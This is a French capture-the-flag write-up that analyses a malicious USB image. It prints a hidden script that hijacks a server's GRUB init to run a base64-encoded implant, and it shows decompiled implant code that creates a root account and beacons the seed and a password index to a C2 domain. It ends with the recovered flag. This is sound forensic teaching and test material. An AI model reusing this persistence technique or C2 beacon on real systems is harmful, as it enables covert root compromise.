Une clé USB qui ouvre des portes
On nous donne un dump d’une clé USB branchés sur des serveurs. Cette clé USB aurait compromis la sécurité du serveur et créé un utilisateur avec un certain mot de passe. Le but de ce challenge est de retrouver ce mot de passe.
Nous possèdons aussi l’entrée de l’utilisateur généré dans /etc/passwd:
newsuperuserforwin:$6$NBYlg3a0nG8eykJg$KnzV/9n5DpRkeNHLcdXfviKsh0Z9NaPQdXg9Pd4nBOXuN6gr3dfAHxo71Y/dCGvG5kei3Y8ganUcz1RqrdTUt/:0:0::/root:/bin/sh
qui se traduit par:
Username: newsuperuserforwin
Password algorithm: sha512
Password salt: NBYlg3a0nG8eykJg
Password hash: KnzV/9n5DpRkeNHLcdXfviKsh0Z9NaPQdXg9Pd4nBOXuN6gr3dfAHxo71Y/dCGvG5kei3Y8ganUcz1RqrdTUt/
User id: 0
User group: 0
Full name:
Home directory: /root
Login shell: /bin/sh
1. Extraire l’image de la clé USB
J’ai d’abord téléchargé l’image de la clé USB. J’ai ensuite lancé fdisk pour lister les partitions:
manaf@mogis:~/Downloads $ sudo fdisk -l image.raw
Disk image.raw: 49.88 MiB, 52301824 bytes, 102152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 2AAF9DFC-C429-4A1A-A12D-0D6DC6DD29CB
Device Start End Sectors Size Type
image.raw1 64 491 428 214K Microsoft basic data
image.raw2 492 6251 5760 2.8M EFI System
image.raw3 6252 101503 95252 46.5M Apple HFS/HFS+
image.raw4 101504 102103 600 300K Microsoft basic data
Quatres partitions sont disponibles. Cependant, je n’ai réussi à en lire que deux.
Bref, j’ai d’abord chargé l’image avec kpartx
manaf@mogis:~/Downloads $ sudo kpartx -av image.raw
add map loop0p1 (253:0): 0 428 linear 7:0 64
add map loop0p2 (253:1): 0 5760 linear 7:0 492
add map loop0p3 (253:2): 0 95252 linear 7:0 6252
add map loop0p4 (253:3): 0 600 linear 7:0 101504
Puis j’ai mount individuellement chaque partition, là où c’était possible.
manaf@mogis:~/Downloads $ mkdir p1 p2 p3 p4
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p1 p1 1
mount: /home/manaf/Downloads/p1: wrong fs type, bad option, bad superblock on /dev/mapper/loop0p1, missing codepage or helper program, or other error.
dmesg(1) may have more information after failed mount system call.
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p2 p2 32
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p3 p3
mount: /home/manaf/Downloads/p3: WARNING: source write-protected, mounted read-only.
manaf@mogis:~/Downloads $ sudo mount /dev/mapper/loop0p4 p4
mount: /home/manaf/Downloads/p4: wrong fs type, bad option, bad superblock on /dev/mapper/loop0p4, missing codepage or helper program, or other error.
dmesg(1) may have more information after failed mount system call.
Uniquement la partition 2 et la partition 3 ont pu être montés.
J’ai regardé les fichiers dans la partition 2, mais rien d’intéressant ne s’y trouvait. Cependant, dans la partition 3:
p3
└── boot
├── initrd
└── vmlinuz
(D’autre fichiers s’y trouvaient mais par souci de formattage, je n’y ai laissé que les deux intéressants.)
Cette clé USB contient une distro Linux. La distro est contenue dans le fichier initrd.
manaf@mogis:~/Downloads/p3/boot $ file initrd
initrd: gzip compressed data, max compression, from Unix, original size modulo 2^32 5048320
Nous pouvons voir que c’est un fichier compressé avec gzip. Je l’ai donc décompressé.
manaf@mogis:~/Downloads/une-cle-...-portes $ cp ../p3/boot/initrd initrd.img.gz
manaf@mogis:~/Downloads/une-cle-...-portes $ gunzip initrd.img.gz
manaf@mogis:~/Downloads/une-cle-...-portes $ file initrd.img
initrd.img: ASCII cpio archive (SVR4 with no CRC)
manaf@mogis:~/Downloads/une-cle-...-portes $ cat initrd.img | cpio -idmv
.
root
run
sys
usr
usr/bin
usr/sbin
etc
etc/hostname
etc/inittab
etc/fstab
etc/motd
etc/group
etc/init.d
etc/init.d/rcS
home
home/.pers.sh
init
proc
bin
bin/sh
bin/busybox
lib
lib/modules
lib/libc.so.6
lib/ld-linux-x86-64.so.2
sbin
var
var/run
lib64
lib64/ld-linux-x86-64.so.2
mnt
initrd
9860 blocks
Une fois initrd décompressé, nous pouvons observer le file system de la distro complet.
J’ai eu de la chance d’avoir ouvert le dossier avec VSCode, sinon je ne l’aurais sûrement pas vu. Il y a un fichier dans le répertoire /home, qui commence par un .:
manaf@mogis:~/Downloads/une-cle-usb-qui-ouvre-des-portes $ ls -a home
. .. .pers.sh
Il ressemble à ça:
#!/bin/bash
mount /dev/nvme0n1p2 /mnt
sed -i -r -E 's/(root\=UUID\=[a-zA-Z0-9\-]{20,40})/\1 init=\/inlt/g' /mnt/boot/grub/grub.cfg
(echo -n 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA8BFAAAAAAABAAAAAAAAAACBbAAAAAAAAAAAAAEAAOAAN
(truncated)
AAAAAAAAAAAAAAAAAJJZAAAAAAAAiwEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=' | base64 -d) > /mnt/inlt
chmod +x /mnt/inlt
umount /mnt
# Now we can reboot
reboot
Ce fichier:
- Monte le disque du serveur d’origine, sur
/mnt - Change le script d’initialisation, de
initàinlt(notez leL) - Ajoute un virus sur
/mnt/inlt - Rend ce virus exécutable
- Redémarre le serveur
Il devient donc clair qu’il faut reverse engineer ce fichier pour comprendre ce qu’il s’est passé.
J’ai donc décodé ce programme en base64 et je l’ai enregistré sur mon disque.
2. Reverse Engineering
En chargeant le programme sur un outil de décompilation, nous pouvons observer que tous les symbols sont encore disponibles et que la décompilation va être facile.
J’utilise Cutter pour cette tâche, mais Ghidra ou IDA fonctionneraient tout aussi bien.
Nous pouvons voir que la fonction main appèle PwnNerD et IamPWNED.
undefined8 dbg.main(void)
{
dbg.PwnNerD();
dbg.IamPWNED();
int pid = getpid();
if (pid == 1) {
pid = fork();
if (pid != 0) {
execl("/usr/lib/systemd/systemd", "/usr/lib/systemd/systemd", 0);
}
}
return 0;
}
En ouvrant PwnNerD, on peut voir le code pour générer le mot de passe, et l’ajouter à /etc/passwd
void dbg.PwnNerD(void)
{
undefined8 uVar1;
undefined8 uVar2;
undefined8 uVar3;
undefined8 uVar4;
unsigned char *crypted;
unsigned char *token;
unsigned char *salt_end;
unsigned char *salt;
dbg.init_PRNG_it_is_pretty_safe_right();
uVar1 = calloc(16, 1);
uVar2 = dbg.generate_random_string(16);
strcpy(uVar1, hash_type);
strcat(uVar1, uVar2);
uVar3 = dbg.generate_random_string(8);
uVar4 = dbg.compute_password(uVar3, uVar1);
free(uVar1);
free(uVar2);
free(uVar3);
dbg.setup_some_magic_tricks_to_visit_you_later(uVar4);
return;
}
La génération du mot de passe se base sur de la PRNG (la fonction rand de stdlib)
Si on arrive à obtenir la seed, on peut trouver le mot de passe demandé pour le flag.
Heureusement pour nous, la seed se base sur le timestamp de génération:
void dbg.init_PRNG_it_is_pretty_safe_right(void)
{
time_t t;
super_secure_seed = time(&t);
srand(super_secure_seed);
return;
}
Et on connaît ce temps, grâce à la date de modification de /etc/passwd (donné dans l’énoncé): 28/06/2024 19:42:42 (UTC), ce qui se traduit en 1719603762.
On sait aussi, que la taille du salt est de 16 bytes, et que la taille du “token” est de 8 bytes.
En cherchant dans les strings, on tombe sur le charset: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Le salt et le token sont généré aléatoirement à partir de ce charset.
Ensuite, une fois ces deux valeurs générés, le mot de passe est aussi créé à partir d’une liste de mot de passe prédéfinis:
unsigned char * dbg.choose_random_passwd_from_passwd_list_using_TRNG(void)
{
getrandom(&password_index, 1, 2);
return passwd_list[password_index + (uint8_t)((uint16_t)(ZEXT12(password_index) * 0x53) >> 0xd) * -99];
}
undefined8 dbg.compute_password(undefined8 param_1, undefined8 param_2)
{
undefined8 uVar1;
undefined8 uVar2;
unsigned char *crypted;
unsigned char *passwd;
uVar1 = calloc(0x20, 1);
uVar2 = dbg.choose_random_passwd_from_passwd_list_using_TRNG();
strcpy(uVar1, uVar2);
strcat(uVar1, param_1);
uVar2 = crypt(uVar1, param_2);
free(uVar1);
return uVar2;
}
Le mot de passe est donc: prédéfini au hasard + token aléatoire
3. Détermination du mot de passe
Si on a déjà fait OTPasvraiment, un des challenges de la prochaine catégorie, on peut obtenir ça:
99.99.0.1:IAP&R;1719603762;82
C’est le packet que le virus envoie au serveur C2, dans la fonction IamPWNED.
void dbg.IamPWNED(void)
{
int32_t iVar1;
undefined8 uVar2;
char message [24];
undefined2 uStack_38;
undefined2 uStack_36;
undefined auStack_34 [16];
int sockfd;
hostent *server;
char *domain;
int bytes_sent;
domain = "my-super-c2-for-l33t.fr";
server = (hostent *)gethostbyname("my-super-c2-for-l33t.fr");
if ((server != (hostent *)0x0) && (sockfd = socket(2, 1, 0), sockfd != -1)) {
memset(&uStack_38, 0, 0x10);
uStack_38 = 2;
uStack_36 = htons(0x539);
memcpy(auStack_34, **(undefined8 **)((int64_t)server + 0x18), (int64_t)*(int32_t *)((int64_t)server + 0x14));
iVar1 = connect(sockfd, &uStack_38, 0x10);
if (iVar1 == -1) {
close(sockfd);
} else {
if (no_info_yet == '\0') {
uVar2 = strlen(message);
bytes_sent = send(sockfd, message, uVar2, 0);
} else {
sprintf(message, "IAP&R;%d;%d", super_secure_seed,
password_index + (uint8_t)((uint16_t)(ZEXT12(password_index) * 0x53) >> 0xd) * -99);
uVar2 = strlen(message);
bytes_sent = send(sockfd, message, uVar2, 0);
}
if (bytes_sent == -1) {
close(sockfd);
} else {
close(sockfd);
}
}
}
return;
}
On peut y lire:
Seed: 1719603762
Password Index: 82
Donc si on a déjà fait OTPasvraiment, on peut vérifier la seed obtenue précédemment, et connaître l’index du mot de passe. Le cas échéant, il faudrait tester les 100 mots de passe. Comme je le connaissait déjà, je n’ai pas eu à bruteforce.
La liste des mots de passe était:
backflip2, backflip17, backflip16, backflip15, backflip147, backflip123, backflip12, backflip101, backflip060495!, backflip0, backflip., backfliplayout, backflic, backflex, backflash, backfl1p, backfist1, backfist, backfire39, backfire13117, backfire07, backfire!, backfileedit, backfighter, backfield1, backfeather, backfat8, backfat1, backfat., backfat, backetball1991, backetball, backet, backerz, backeryman, backery, backerstraat, backers4009, backers35, backers23, backerpumita.14, backerij, backer58, backer49, backer44, backer41, backer40, backer34, backer24, backer1228, backer1, backer09, backer07, backer01, backer&, backenzie, backenupp, backend1, backend08, backen33, backen1, backelem, backedu, backedneans, backed, backeast, backe123456789, backe#41, backdry, backdrop, backdrafts, backdraft86, backdraft3342, backdraft06, backdraft., backdown9, backdown25, backdown0, backdor, backdoorlover, backdoor@#&*9, backdoor912, backdoor831, backdoor82, backdoor789, backdoor76, backdoor75, backdoor66, backdoor44, backdoor1993, backdoor11, backdoor0, backdoor., backdive, backdeptrai, backden1, backden, backdella, backdeck, backdeath
Le mot de passe 82 était: backdoor831
J’ai donc écrit un petit programme en C permettant de calculer le token, et de s’assurer que la RNG est bonne (en calculant le salt et comparant avec celui du hash du mot de passe)
#include <stdlib.h>
#include <stdio.h>
void main() {
srand(1719603762);
char salt[17];
char token[9];
char *charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for (int i = 0; i < 16; i++) {
salt[i] = charset[rand() % 62];
}
salt[16] = "\0";
for (int i = 0; i < 8; i++) {
token[i] = charset[rand() % 62];
}
token[8] = "\0";
printf("Salt: %s\n", salt);
printf("Token: %s\n", token);
}
manaf@mogis:~/Downloads/une-cle-...-portes $ gcc test.c && ./a.out
Salt: NBYlg3a0nG8eykJg
Token: 4x9mWPW7
Le mot de passe est donc backdoor8314x9mWPW7
On peut le vérifier, en hashant le mot de passe avec openssl et en comparant les hash:
manaf@mogis:~/Downloads/une-cle-...-portes $ openssl passwd -6 -salt NBYlg3a0nG8eykJg backdoor8314x9mWPW7 130
$6$NBYlg3a0nG8eykJg$KnzV/9n5DpRkeNHLcdXfviKsh0Z9NaPQdXg9Pd4nBOXuN6gr3dfAHxo71Y/dCGvG5kei3Y8ganUcz1RqrdTUt/
Ce qui correspond effectivement à notre hash dans l’énoncé.
Solution
Format du flag: SHLK{Mot_de_Passe_Du_Compte_Suspect}
SHLK{backdoor8314x9mWPW7}